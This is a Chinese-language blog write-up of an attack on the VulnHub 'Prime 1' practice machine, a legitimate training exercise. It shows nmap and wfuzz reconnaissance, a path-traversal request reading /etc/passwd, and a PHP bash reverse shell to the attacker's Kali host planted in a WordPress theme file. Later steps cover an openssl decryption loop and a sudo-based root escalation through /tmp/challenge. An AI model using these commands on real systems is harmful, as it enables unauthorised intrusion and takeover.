1579 字
8 分钟
vulnhub靶机-prime1渗透记录
vulnhub靶机-prime1渗透记录
声明
- 本文为个人跟随b站up主红队笔记学习vulnhub的prime1靶机的复现通关记录,旨在分享靶机和记录学习心得体会,讲解若有谬误之处欢迎指正。
- 该靶机下载地址为’https://vulnhub.com/entry/prime-1,358/‘
渗透流程
- 在vmware部署靶机并开机后,首先打开kali对靶机进行信息收集,使用nmap执行
sudo nmap -sn 192.168.245.0/24(请替换成你的网段)进行主机发现,发现图中的192.168.245.148为靶机。(192.168.245.136为kali的ip地址)
- 进行端口发现,执行
sudo nmap --min-rate 10000 -p- 192.168.245.148,并对开放端口记录用于后续渗透,发现22和80端口。
- 对端口进行详细扫描,执行
sudo nmap -sT -sV -sC -O -p22,80 192.168.245.148,没有很有用的信息。
- 对端口进行漏洞扫描,执行
sudo nmap --script=vuln -p22,80 192.168.245.148未发现明显漏洞,但发现wordpress和登陆页面
- 访问80端口,有一篇以victor名义发布的post。

- 查看登录页尝试一些简单密码,无法登入。

- 尝试执行
sudo dirb http://192.168.245.148尝试目录爆破,没有很有价值的,尝试增加参数。
- 继续尝试对zip,txt等类型文件进行爆破发现,成功得到一个secret.txt。

- 文件提示我们使用找到的php文件进行模糊测试,以及后面可能遇到的location.txt。

- 我们开始目录爆破找php文件,方法同上,找到image.php和index.php,下面准备使用wfuzz进行模糊测试。

- 使用wfuzz对两个php文件进行模糊测试,执行
sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.245.148/index.php?FUZZ=aaa,其中—hh参数为过滤掉含有136参数的条目(此参数初次执行时候不加,在筛选结果时可以加上方便检索),修改路径使得分别对index.php和image.php进行模糊测试,FUZZ后面可以随意写一个值。
- 通过增加—hh过滤之后,仅有index.php的file参数结果不同,执行
sudo curl http://192.168.245.148/index.php?file=,说错误文件,想起location.txt尝试填入,给出一个参数secrettier360,让去另一个php尝试。
- 用正确参数和正确php文件尝试目录穿越
sudo curl http://192.168.245.148/image.php?secrettier360=../../../../../../../../../etc/passwd,可以获得文件内容。
- 其中提到有个password.txt,我们修改参数查看获得一个密码follow_the_ippsec

- 回到wordpress登录页面,尝试用密码登录victor用户(主页文章作者以及/etc/passwd中都让我们感觉到victor可能是后台管理员用户)

- 成功登入后台,对于wordpress后台常用的突破口有,plugin插件上传和主题代码,先尝试plugin上传,发现被防护。

- 接下来对主题页面代码寻找可编辑的php文件,找到secret.php,根据提示是我们要可以利用的php文件,插入
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.245.136/1234 0>&1'"); ?>并保存。
- 根据wordpress项目原码,可知该页面需要通过
http://IP/wordpress/wp-content/themes/twentynineteen/secret.php访问,在此之前在kali上打开443端口监听,访问后拿到一个反弹shell,用户为www-data,使用sudo -l 查看在/home/saket/enc有root权限
- 进一步了解后,发现enc是个可执行文件,并需要密码。

- 执行
find / -name '*backup*' 2>/dev/null | sort | less找到个/opt/backup/server_database/backup_pass,我们查看文件发现密码backup_password。
- 再次执行enc文件,发现多了两个txt文档,enc.txt和key.txt,查看内容。

- enc.txt给出一串字符,key.txt给出任务,让把ippsec使用md5加密作为key

- 执行
sudo echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}' | tr -d '\n' | od -A n -t x1 | tr -d '\n' | tr -d ' '(按照管道符分别作用为:输出字符串,计算字符串md5哈希,提取纯哈希值,删除其中换行符,以单字节16进制输出每个字符,删除所有换行,删除所有空格) 得到key:3336366137346362336339353964653137643631646233303539316333396431 - 使用
openssl --help复制openssl支持的加密算法。
- 执行
sudo vim CipherType创建一个新文件存放这些算法。
- 整理算法名称用于后续替换变量解密,执行
sudo awk '{gsub(/ /,"\n");print}' CipherType | sort | uniq,即将CipherType文件中的空格替换成换行符,然后对所有内容按顺序排列并去重。
- 将上面输出存放到新文件Cipher中,构建for循环进行解密:
for Cipher in $(cat Cipher);do echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$Cipher -K 3336366137346362336339353964653137643631646233303539316333396431;done,每次取出一个Cipher中存放的算法,使用key去破解enc.txt给出字符的内容,成功破解出一个密码”tribute_to_ippsec”
- 使用ssh连接,
sudo ssh saket@192.168.245.148并输入密码,登录成功查看权限,/home/victor/undefeated_victor有root权限
- 尝试执行该文件,发现缺少一个/tmp/challenge文件,我们cd到/tmp去写一个challenge文件用于提权。

- 执行
echo '#!/bin/bash' >challenge再执行echo '/bin/bash' >>challenge,共写入两行,第一行是脚本解释器声明,第二行是脚本要执行的命令,并且经过ls -liah查看得知challenge没有x权限,我们用chmod添加x权限。
- 执行后,成功拿到root的shell,靶机渗透结束。

其它补充
- 拿到www-data后可以使用searchsploit linux ubuntu 4.10.0-28查到内核漏洞,可以通过把漏洞利用程序直接上传到目标机器上编译执行直接拿到root权限,但实际很少用内核漏洞,故不多讲解这种方法。
- 第20步执行
find / -name '*backup*' 2>/dev/null | sort | less时,在其它时候也可以找含有”pass”之类的文件,通常这两个词相关文件可能涉及密码等信息。 - openssl解密方面:
- enc为openssl中对称加密算法指令,上述命令-a是对输入的Base64字符串解码,还原出加密后的二进制密文,-d是对解码后的二进制密文执行解密操作,-K是提供解密所需的十六进制密钥;详细可参考’https://blog.csdn.net/qq_63442530/article/details/136834007’
- 第23步执行echo的-n目的为使’ippsec’进行md5加密时,禁止结尾自动加换行符行为,使得加密出的值真实有效。
vulnhub靶机-prime1渗透记录
http://124.70.202.140/posts/post-7/7/ 部分信息可能已经过时







